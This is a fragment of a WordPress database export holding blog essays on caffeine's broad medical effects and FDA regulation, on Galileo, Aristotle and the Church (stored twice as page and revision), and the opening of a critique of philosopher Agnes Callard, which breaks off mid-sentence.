I’m not even going to bother with proper manufacturing controls. This drug literally occurs in leaves, so I’m just going to go outside, pick some leaves, wash them off, stick them in hot water, and sell the leaf water to the public. Good luck stopping me, FDA.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of course, with me saying this, my game is probably up. I’m talking, of course, about caffeine. Everything I wrote about caffeine above is true.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It is incredibly widely consumed and has been for centuries. A bunch of different plant species have independently figured out how to produce it, including coffee species, tea species, kola, and yerba mate<a href=\"https://trevorklee.substack.com/p/a-miracle-drug-sold-over-the-counter#footnote-1-108650814\">1</a>. They mostly use it as a pesticide<a href=\"https://trevorklee.substack.com/p/a-miracle-drug-sold-over-the-counter#footnote-2-108650814\">2</a>, although there’s&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4521368/#:~:text=Caffeine%20is%20bitter%20tasting%20to,concentrations%20(25%2C%2026).\">some evidence that it also helps attract pollinators</a>&nbsp;<a href=\"https://trevorklee.substack.com/p/a-miracle-drug-sold-over-the-counter#footnote-3-108650814\">3</a>. For humans to use it, we just have to boil the leaves, which is pretty convenient.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Caffeine does kill dogs, cats, and mice. The lethal dose (LD50) for mice is 185 mg/kg, cats is 80-150 mg/kg, and dogs is 140 mg/kg. This is actually similar to the lethal dose for humans, but the main difference is that for a 3 kg cat, a single Dunkin Donuts large iced coffee would be fatal, while as for humans it’s just called “being in Boston”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You probably already know that caffeine is a general cognitive enhancer and keeps you awake. Meanwhile, anyone who’s ever taken pre-workout powder knows that caffeine is a performance enhancing drug. And it’s probably not shocking that people with ADHD can use it to focus, given that it’s a stimulant.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But the other claims are true as well. Caffeine&nbsp;<a href=\"https://www.tandfonline.com/doi/abs/10.1080/10408398.2018.1507996\">does help people lose weight</a>, although that’s hard to separate out from its effect on energy levels. It’s&nbsp;<a href=\"https://www.cochranelibrary.com/cdsr/doi/10.1002/14651858.CD001112/abstract\">helpful with asthma</a><a href=\"https://trevorklee.substack.com/p/a-miracle-drug-sold-over-the-counter#footnote-4-108650814\">4</a>,&nbsp;<a href=\"https://apps.dtic.mil/sti/pdfs/AD0644502.pdf\">altitude sickness</a><a href=\"https://trevorklee.substack.com/p/a-miracle-drug-sold-over-the-counter#footnote-5-108650814\">5</a>, and&nbsp;<a href=\"https://www.cochranelibrary.com/cdsr/doi/10.1002/14651858.CD009281.pub3/full\">pain relief</a><a href=\"https://trevorklee.substack.com/p/a-miracle-drug-sold-over-the-counter#footnote-6-108650814\">6</a>. And, shockingly, it does actually have excellent data in preventing&nbsp;<a href=\"https://movementdisorders.onlinelibrary.wiley.com/doi/abs/10.1002/mds.25076\">Parkinson’s</a>&nbsp;and&nbsp;<a href=\"https://www.mdpi.com/1420-3049/27/12/3737\">Alzheimer’s</a><a href=\"https://trevorklee.substack.com/p/a-miracle-drug-sold-over-the-counter#footnote-7-108650814\">7</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t want to just list all the things caffeine can do, though. Instead, I want to make a point.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Caffeine isn’t some one-off wonder drug. Like doxycycline or cyclosporine, it’s one of a number of drugs that affect fundamental pathways that are conserved across the animal kingdom. The reason caffeine has so many effects is because it’d be impossible to do something so fundamental as being a universal pesticide without having a lot of effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are likely other drugs out there like caffeine. Hell, even caffeine is still out there, given that I, a relatively well-educated person, had no idea that caffeine could help my asthma.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We have made a choice as a society to not pursue drugs like this. The FDA pushes for all drugs to have a straightforward mechanism of action, stringent and repeatable manufacturing, clear indications, and low toxicity in non-human species. This makes for expensive, limited quantity drugs that are useful for one or two indications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I understand why this happened. The FDA wants to avoid a snake-oil free-for-all, or a repeat of thalidomide, or contamination of the drug supply, or any number of other bad press events. And I want to avoid that as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But I do want a world in which it’d be possible to imagine that a pesticide that kills dogs could be taken by the elderly over-the-counter as a prophylactic against dementia. The only drug currently on that list has been grandfathered in. Could we ever add another?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-miracle-drug-sold-over-the-counter#footnote-anchor-1-108650814\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Interestingly,&nbsp;<a href=\"https://pubs.acs.org/doi/10.1021/acs.jmedchem.1c00261?fig=sch3&amp;ref=pdf\">they all produce it using the same pathway</a>&nbsp;(although different, species-specific enzymes), even though there are other pathways they could have used. This pathway starts with xanthosine, which comes from xanthine and ribose. Both of these are pretty easily produced from DNA, so it’s probably just easiest to create caffeine that way.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-miracle-drug-sold-over-the-counter#footnote-anchor-2-108650814\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pubs.acs.org/doi/10.1021/acs.jmedchem.1c00261?fig=sch3&amp;ref=pdf\">Caffeine inhibits insect phosphodiesterases</a>, resulting in intracellular accumulation of cyclic adenosine monophosphate (cAMP). cAMP is used a lot in intracellular signaling. It also inhibits human phosphodiesterases, which&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/books/NBK223808/#:~:text=Caffeine%20increases%20intracellular%20concentrations%20of,free%20fatty%20acids%20and%20glycerol.\">is probably what accounts for its anti-asthmatic and cardiostimulatory effects</a>. It’s much weaker in humans than in insects, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-miracle-drug-sold-over-the-counter#footnote-anchor-3-108650814\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This mechanism is interesting. It actually appears as if caffeine, in the low concentration that it reaches in nectar, actually helps bees form stronger memories of the specific flowers they got that nectar from. So, bees are more likely to return to those flowers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-miracle-drug-sold-over-the-counter#footnote-anchor-4-108650814\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The mechanism of this gets very tricky, as I mentioned in footnote 2. If you look up the mechanism of caffeine, every source just says “caffeine blocks adenosine receptors, and adenosine promotes sleep”. That’s true, but hardly the only thing caffeine does or that adenosine does. Caffeine affects at least 10 different receptors, including 4 different adenosine receptors. All of these receptors are spread out all over the body.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, adenosine is involved in cardiovascular signaling, but caffeine’s effect on asthma is probably because it prevents the phosphodiesterase signaling pathway that eventually leads to inflammation. Administration of caffeine can directly decrease levels of inflammatory molecules like TNF-alpha, which would be what would cause asthma. This is why corticosteroids also decrease asthma.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-miracle-drug-sold-over-the-counter#footnote-anchor-5-108650814\">5</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although the most recent medical reports I’ve found warn people about caffeine at high altitudes, because it has a stronger effect at higher altitudes, similar to how you get more drunk in an airplane. I want to ask them what they think about the Peruvians chewing coca leaves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-miracle-drug-sold-over-the-counter#footnote-anchor-6-108650814\">6</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This might also be due to its anti-inflammatory effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-miracle-drug-sold-over-the-counter#footnote-anchor-7-108650814\">7</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ll probably write another blog post about this because it’s especially surprising. For both Alzheimer’s and Parkinson’s, there are good longitudinal studies that show people who drink caffeinated coffee have lower risk of developing neurodegenerative diseases than people who drink decaf or no coffee at all.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s difficult to imagine the causation going the other way. People who develop neurodegeneration tend to have poor quality sleep, so they should be more likely to drink caffeine, not less. And the longitudinal studies that have been done match people up by age, income, and sex, so those other confounders are also out.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But it’s a strong effect: about 50% less likely for PD, and about 30% less likely for AD. So, what’s the cause? Maybe it’s the anti-inflammatory stuff from before, maybe it’s something to do with adenosine, or maybe it’s the inhibition of acetylcholinesterase. Inhibition of acetylcholinesterase was the target for early AD drugs, although they never seemed to work that well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, maybe, it’s the inhibition of adenosine again. This can get especially complicated, as inhibiting adenosine from reaching its receptors also means inhibiting dopamine from reaching adenosine-dopamine complexes, although those are still very poorly understood. Again, it’s very complicated and something I want to explore more.</p>\n<!-- /wp:paragraph -->','A miracle drug sold over the counter','','inherit','closed','closed','','383-revision-v1','','','2024-06-12 15:41:50','2024-06-12 15:41:50','',383,'https://trevorklee.com/?p=384',0,'revision','',0),
(385,1,'2024-06-12 15:42:44','2024-06-12 15:42:44','<!-- wp:paragraph -->\n<p>If you’re familiar at all with the history of science, you probably know the story of Galileo and the Catholic Church. The very short version is that Galileo advocated for the idea that the Earth revolved around the Sun. The Catholic Church considered that idea heretical, imprisoned Galileo, and forced him to recant his idea and “admit” that the Earth was stationary. At the end of his testimony, Galileo allegedly muttered, “E pur si muove” (and yet it [the Earth] moves).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When this story is told, it’s usually told in the vein of conservati vs. progressivism. There’s the old, stodgy, Catholic Church, defender of ancient busted ideas. There’s Galileo Galilei, iconoclastic scientist, pursuer of new truth. Eventually new ideas win out, but in the meanwhile, the old conservative institutions will make your life miserable (see every scientific culture war).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This interpretation isn’t totally off-base. But the actual facts of this case make it more complicated. First of all, one really basic question is this: why did the Catholic Church think that saying the Earth revolved around the Sun is heretical?<br><br>If you look in the Bible, the closest evidence you get to heliocentrism being heretical is in the book of Joshua during the battle of Gibeon. In this book, Joshua, the leader of the Israelites after Moses, leads the Israelites in a war against the Gibeonites. Joshua, to help the Israelites, stretches daylight hours into an entire extra day. He does this by commanding the sun and moon to stand still.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And…that’s it! That’s the strongest of the Biblical evidence. It’s not a lot. You have to go the extra step to realize that, in order to take Joshua’s command literally, it only works if you think the sun is moving in the first place, and that’s what causes the day to end. Of course, if you’re ok taking Joshua’s command metaphorically, in that he’s making the sun and moon appear to stand still by stopping the rotation of the Earth, you can pretty easily see this as supporting geocentrism.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is a weird hill for the Catholic Church to die on (or to make Galileo die on). They ignored a lot of the rest of the Old Testament. For example, they had no problem ignoring&nbsp;<a href=\"https://religions.wiki/index.php/Biblical_value_of_pi\">the Biblical claim that pi was equal to 3</a>, or the claim that&nbsp;<a href=\"https://rationalwiki.org/wiki/RationalWiki:Annotated_Bible/Genesis#Genesis_1:6\">the sky is actually a “firmament” (a literally solid dome) dividing “the waters above” vs. “the waters below”</a>. Nobody got in trouble in 17th century Europe for using more accurate valuations of pi, or for accepting that comets and meteors pass through the Earth’s atmosphere without going through water or hitting a firmament.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Catholic Church chose this hill because they didn’t actually go after Galileo because he contradicted the Bible. That was their excuse. They went after Galileo because he contradicted Aristotle, who they had accepted as their ultimate scientific authority. In fact, what really annoyed them is that Galileo had written a dialogue to defend heliocentrism and gave the dumb geocentric character who gets proven foolish the name Simplicio. While Galileo claimed “Simplicio” was supposed to refer back to the Aristotelian philosopher&nbsp;<a href=\"https://en.wikipedia.org/wiki/Simplicius_of_Cilicia\">Simplicius</a>, it was also a very obvious pun on the Italian word for simpleton. Hence, when they imprisoned Galileo, they also banned his dialogue (and any book he’d write thereafter).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff4216fff-3832-4b66-91a0-e2f27bcbca76_505x599.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff4216fff-3832-4b66-91a0-e2f27bcbca76_505x599.jpeg\" alt=\"File:E pur si muove.jpg\" title=\"File:E pur si muove.jpg\"/></a><figcaption class=\"wp-element-caption\">Galileo in his cell. According to Wikipedia, “Eppur si muove” is scratched into the wall, but I can’t see it.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>How exactly the Catholic Church ended up venerating Aristotle, a Greek man who lived more than 300 years before the birth of Christ and was definitely not a Christian, is a long story. The short version is that Aristotle’s works went from influencing the Greeks, to the Byzantines, to the Islamic scientists, to the Catholic Scholastics, at which point the Catholics were desperate to establish their own tradition of philosophy and decided to basically canonize Aristotle as “the Philosopher”. The Catholics, in trying to get themselves on firm philosophical footing, ended up treating Greek philosophy like a religion, memorizing it and defending it overly vigorously.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, to be fair to the Catholic Church, the Catholic Church of the 1600s was not the same as the Catholic Church of the Scholastics during the 1200s. So, while they did feel it was necessary to imprison Galileo, their arguments were more sophisticated than just pointing to Aristotelian or even Biblical text. They also defended the heliocentric position with physical and mathematical arguments, including Tyco Brahe’s point that heliocentrism would require the stars to be way, way larger than the Sun. And, also to be fair to the Catholic Church, the evidence at the time did not definitively point to heliocentrism, and heliocentrism, like geocentrism, required assumptions that were not justified given the knowledge of the time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But the fact remains that the Catholic Church thought it was so necessary to prove Aristotle right that they were willing to imprison one of the great scientists of their time. How weird is that? Not the imprisoning him part. Even in the United States in the year 2023, we are no stranger to the legal system getting involved in science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No, the weird part is that Aristotle had an influence on science at all in 1616 AD. Aristotle died in 322 BC. It had been almost 2000 years. Can you imagine a scientist 2000 years ago having an impact on scientific discussions today? Could you imagine a modern scientific paper seriously citing a scientist from 23 AD?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No, of course not. In my own work, I rarely see citations from earlier than the year 2000. When I do, I’m usually mistrustful of them, because I assume there’s a higher chance of the work being done sloppily or at least not having been replicated. In fact, my default assumption is that new work is more trustworthy than old work, all else being equal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that’s true of all of us. We’re all generally looking for the newest study, or the most up-to-date review. At the very least, we certainly aren’t looking through ancient texts for scientific truths.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This might seem obvious to you. Of course you’d never look at an old paper. That old paper was probably done with worse instruments and worse methods. Just because something’s old or was written by someone whose name you recognize doesn’t mean that it’s truthful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But why is it obvious to you?&nbsp;<em>Because you live in a world that philosophy built</em>. The standards for truth that you imbibed as a child are not natural standards of truth. If you had been an educated person in 1200s Europe, your standard for truth would have been what has stood the test of time. You would have lived among the ruins of Rome and studied the anatomy texts of the Greek, known that your society could produce neither of those, and concluded that they knew something that your society could not. Your best hope would then be to simply copy them as best as possible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This was less true by the time Galileo was alive. This is why an educated man like Galileo would have entertained the idea that he knew better than the ancient Greeks, and why his ideas found some purchase among his fellow academicians (including the then Pope, actually). But still, there was a prominent train of thought that promoted the idea that a citation from Aristotle was worth more than a direct observation from a telescope.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But you live in a different world now. You live in a world in which the science of tomorrow is better than the science of today, and our societal capabilities advance every year. We can build everything the ancients did and stuff they never even imagined possible. So you respect tradition less, and respect what is actually measured most accurately in the physical world more.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Today, this battle over truth is so far in the past that we don’t even know it was ever a battle. The closest we come to this line of reasoning is when new age medicine appeals to “ancient wisdom”, but even they feel compelled to quote studies. Even more modern battles are mostly settled, like the importance of randomized, double-blinded controlled studies over non-randomized, non-controlled studies<a href=\"https://trevorklee.substack.com/p/you-live-in-a-world-that-philosophy#footnote-1-109234982\">1</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The reason we mark battles is not just for fun or historical curiosity. It’s to remind us that what we take for granted was actually fought for by generations before us. And, it’s to make sure that we know the importance of teaching these lessons so thoroughly that future generations take them for granted as well. A world in which nobody would dream of established theory overturning actual empirical evidence is a better world than the one that Galileo lived in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/you-live-in-a-world-that-philosophy#footnote-anchor-1-109234982\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The importance of randomized, double-blinded, controlled studies is another example of something that’s still counter-intuitive for most people, though. I can’t tell you how many medical papers I read that are still comparing two groups in a&nbsp;<em>post hoc</em>&nbsp;study (e.g. a group that got a surgical intervention vs. a group that got a therapeutic intervention), never considering that there might have been a prior reason why the groups were treated differently. And they certainly would never, ever consider that differential, post-intervention treatment by the clinicians of the two groups could possibly explain any of the differences in outcomes. Why, differential post-intervention treatment would be unethical!</p>\n<!-- /wp:paragraph -->','You live in a world that philosophy built','','publish','closed','closed','','you-live-in-a-world-that-philosophy-built','','','2024-06-12 15:42:44','2024-06-12 15:42:44','',0,'https://trevorklee.com/?page_id=385',0,'page','',0),
(386,1,'2024-06-12 15:42:44','2024-06-12 15:42:44','<!-- wp:paragraph -->\n<p>If you’re familiar at all with the history of science, you probably know the story of Galileo and the Catholic Church. The very short version is that Galileo advocated for the idea that the Earth revolved around the Sun. The Catholic Church considered that idea heretical, imprisoned Galileo, and forced him to recant his idea and “admit” that the Earth was stationary. At the end of his testimony, Galileo allegedly muttered, “E pur si muove” (and yet it [the Earth] moves).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When this story is told, it’s usually told in the vein of conservati vs. progressivism. There’s the old, stodgy, Catholic Church, defender of ancient busted ideas. There’s Galileo Galilei, iconoclastic scientist, pursuer of new truth. Eventually new ideas win out, but in the meanwhile, the old conservative institutions will make your life miserable (see every scientific culture war).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This interpretation isn’t totally off-base. But the actual facts of this case make it more complicated. First of all, one really basic question is this: why did the Catholic Church think that saying the Earth revolved around the Sun is heretical?<br><br>If you look in the Bible, the closest evidence you get to heliocentrism being heretical is in the book of Joshua during the battle of Gibeon. In this book, Joshua, the leader of the Israelites after Moses, leads the Israelites in a war against the Gibeonites. Joshua, to help the Israelites, stretches daylight hours into an entire extra day. He does this by commanding the sun and moon to stand still.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And…that’s it! That’s the strongest of the Biblical evidence. It’s not a lot. You have to go the extra step to realize that, in order to take Joshua’s command literally, it only works if you think the sun is moving in the first place, and that’s what causes the day to end. Of course, if you’re ok taking Joshua’s command metaphorically, in that he’s making the sun and moon appear to stand still by stopping the rotation of the Earth, you can pretty easily see this as supporting geocentrism.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is a weird hill for the Catholic Church to die on (or to make Galileo die on). They ignored a lot of the rest of the Old Testament. For example, they had no problem ignoring&nbsp;<a href=\"https://religions.wiki/index.php/Biblical_value_of_pi\">the Biblical claim that pi was equal to 3</a>, or the claim that&nbsp;<a href=\"https://rationalwiki.org/wiki/RationalWiki:Annotated_Bible/Genesis#Genesis_1:6\">the sky is actually a “firmament” (a literally solid dome) dividing “the waters above” vs. “the waters below”</a>. Nobody got in trouble in 17th century Europe for using more accurate valuations of pi, or for accepting that comets and meteors pass through the Earth’s atmosphere without going through water or hitting a firmament.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Catholic Church chose this hill because they didn’t actually go after Galileo because he contradicted the Bible. That was their excuse. They went after Galileo because he contradicted Aristotle, who they had accepted as their ultimate scientific authority. In fact, what really annoyed them is that Galileo had written a dialogue to defend heliocentrism and gave the dumb geocentric character who gets proven foolish the name Simplicio. While Galileo claimed “Simplicio” was supposed to refer back to the Aristotelian philosopher&nbsp;<a href=\"https://en.wikipedia.org/wiki/Simplicius_of_Cilicia\">Simplicius</a>, it was also a very obvious pun on the Italian word for simpleton. Hence, when they imprisoned Galileo, they also banned his dialogue (and any book he’d write thereafter).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff4216fff-3832-4b66-91a0-e2f27bcbca76_505x599.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff4216fff-3832-4b66-91a0-e2f27bcbca76_505x599.jpeg\" alt=\"File:E pur si muove.jpg\" title=\"File:E pur si muove.jpg\"/></a><figcaption class=\"wp-element-caption\">Galileo in his cell. According to Wikipedia, “Eppur si muove” is scratched into the wall, but I can’t see it.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>How exactly the Catholic Church ended up venerating Aristotle, a Greek man who lived more than 300 years before the birth of Christ and was definitely not a Christian, is a long story. The short version is that Aristotle’s works went from influencing the Greeks, to the Byzantines, to the Islamic scientists, to the Catholic Scholastics, at which point the Catholics were desperate to establish their own tradition of philosophy and decided to basically canonize Aristotle as “the Philosopher”. The Catholics, in trying to get themselves on firm philosophical footing, ended up treating Greek philosophy like a religion, memorizing it and defending it overly vigorously.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, to be fair to the Catholic Church, the Catholic Church of the 1600s was not the same as the Catholic Church of the Scholastics during the 1200s. So, while they did feel it was necessary to imprison Galileo, their arguments were more sophisticated than just pointing to Aristotelian or even Biblical text. They also defended the heliocentric position with physical and mathematical arguments, including Tyco Brahe’s point that heliocentrism would require the stars to be way, way larger than the Sun. And, also to be fair to the Catholic Church, the evidence at the time did not definitively point to heliocentrism, and heliocentrism, like geocentrism, required assumptions that were not justified given the knowledge of the time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But the fact remains that the Catholic Church thought it was so necessary to prove Aristotle right that they were willing to imprison one of the great scientists of their time. How weird is that? Not the imprisoning him part. Even in the United States in the year 2023, we are no stranger to the legal system getting involved in science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No, the weird part is that Aristotle had an influence on science at all in 1616 AD. Aristotle died in 322 BC. It had been almost 2000 years. Can you imagine a scientist 2000 years ago having an impact on scientific discussions today? Could you imagine a modern scientific paper seriously citing a scientist from 23 AD?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No, of course not. In my own work, I rarely see citations from earlier than the year 2000. When I do, I’m usually mistrustful of them, because I assume there’s a higher chance of the work being done sloppily or at least not having been replicated. In fact, my default assumption is that new work is more trustworthy than old work, all else being equal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that’s true of all of us. We’re all generally looking for the newest study, or the most up-to-date review. At the very least, we certainly aren’t looking through ancient texts for scientific truths.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This might seem obvious to you. Of course you’d never look at an old paper. That old paper was probably done with worse instruments and worse methods. Just because something’s old or was written by someone whose name you recognize doesn’t mean that it’s truthful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But why is it obvious to you?&nbsp;<em>Because you live in a world that philosophy built</em>. The standards for truth that you imbibed as a child are not natural standards of truth. If you had been an educated person in 1200s Europe, your standard for truth would have been what has stood the test of time. You would have lived among the ruins of Rome and studied the anatomy texts of the Greek, known that your society could produce neither of those, and concluded that they knew something that your society could not. Your best hope would then be to simply copy them as best as possible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This was less true by the time Galileo was alive. This is why an educated man like Galileo would have entertained the idea that he knew better than the ancient Greeks, and why his ideas found some purchase among his fellow academicians (including the then Pope, actually). But still, there was a prominent train of thought that promoted the idea that a citation from Aristotle was worth more than a direct observation from a telescope.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But you live in a different world now. You live in a world in which the science of tomorrow is better than the science of today, and our societal capabilities advance every year. We can build everything the ancients did and stuff they never even imagined possible. So you respect tradition less, and respect what is actually measured most accurately in the physical world more.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Today, this battle over truth is so far in the past that we don’t even know it was ever a battle. The closest we come to this line of reasoning is when new age medicine appeals to “ancient wisdom”, but even they feel compelled to quote studies. Even more modern battles are mostly settled, like the importance of randomized, double-blinded controlled studies over non-randomized, non-controlled studies<a href=\"https://trevorklee.substack.com/p/you-live-in-a-world-that-philosophy#footnote-1-109234982\">1</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The reason we mark battles is not just for fun or historical curiosity. It’s to remind us that what we take for granted was actually fought for by generations before us. And, it’s to make sure that we know the importance of teaching these lessons so thoroughly that future generations take them for granted as well. A world in which nobody would dream of established theory overturning actual empirical evidence is a better world than the one that Galileo lived in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/you-live-in-a-world-that-philosophy#footnote-anchor-1-109234982\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The importance of randomized, double-blinded, controlled studies is another example of something that’s still counter-intuitive for most people, though. I can’t tell you how many medical papers I read that are still comparing two groups in a&nbsp;<em>post hoc</em>&nbsp;study (e.g. a group that got a surgical intervention vs. a group that got a therapeutic intervention), never considering that there might have been a prior reason why the groups were treated differently. And they certainly would never, ever consider that differential, post-intervention treatment by the clinicians of the two groups could possibly explain any of the differences in outcomes. Why, differential post-intervention treatment would be unethical!</p>\n<!-- /wp:paragraph -->','You live in a world that philosophy built','','inherit','closed','closed','','385-revision-v1','','','2024-06-12 15:42:44','2024-06-12 15:42:44','',385,'https://trevorklee.com/?p=386',0,'revision','',0),
(387,1,'2024-06-12 15:44:46','2024-06-12 15:44:46','<!-- wp:paragraph -->\n<p>A&nbsp;<a href=\"https://www.newyorker.com/magazine/2023/03/13/agnes-callard-profile-marriage-philosophy\">New Yorker profile of the ethical philosopher Agnes Callard</a>&nbsp;blew up on Twitter a few weeks ago. Agnes Callard is a philosopher of ethics at the University of Chicago. Her profile blew up not because of her academic work or insights, but because of her personal life.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The short version is that, about 12 years ago, Agnes Callard divorced her husband to marry her graduate student that she had a crush on. She then talked and wrote incessantly about how brave it was that she did that. Now, 12 years later, she’s contemplating divorcing her graduate student as well. Miraculously, despite all of this, both her ex- and current husband still seem quite fond of her, and the three of them live together and raise a blended family.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this profile, Agnes comes off as, frankly, an unethical, selfish person. She muses incessantly about the trickier parts of love and marriage, but seems to avoid the basic issue of obligation that comes with either of those. By the end of the profile, you get the sense that she’s been a net negative for her ex-husband, who she not only divorced out of the blue but prevented from moving on; her current husband, who she tortures with continual “philosophical” threats of divorce; and the University of Chicago philosophy community at large, given that not only did she marry her graduate student, but she somehow also managed to get him a job teaching philosophy at UChicago ahead of all of her philosophy grad students.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t think Agnes Callard’s immorality is in question by any ethical standard. What I think is in question, however, is whether this makes her a bad ethical philosopher.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The easy answer, and the one most ethical philosophers would go with, is no. If we think of ethical philosophers like any other kind of academic, then bad personal ethics should not make someone a bad ethical philosopher. In this view, what a philosopher writes stands on its own on its own virtues. In this point of view, we should read philosophy like we’d read anything else. We should erase the byline and judge the writing on its own 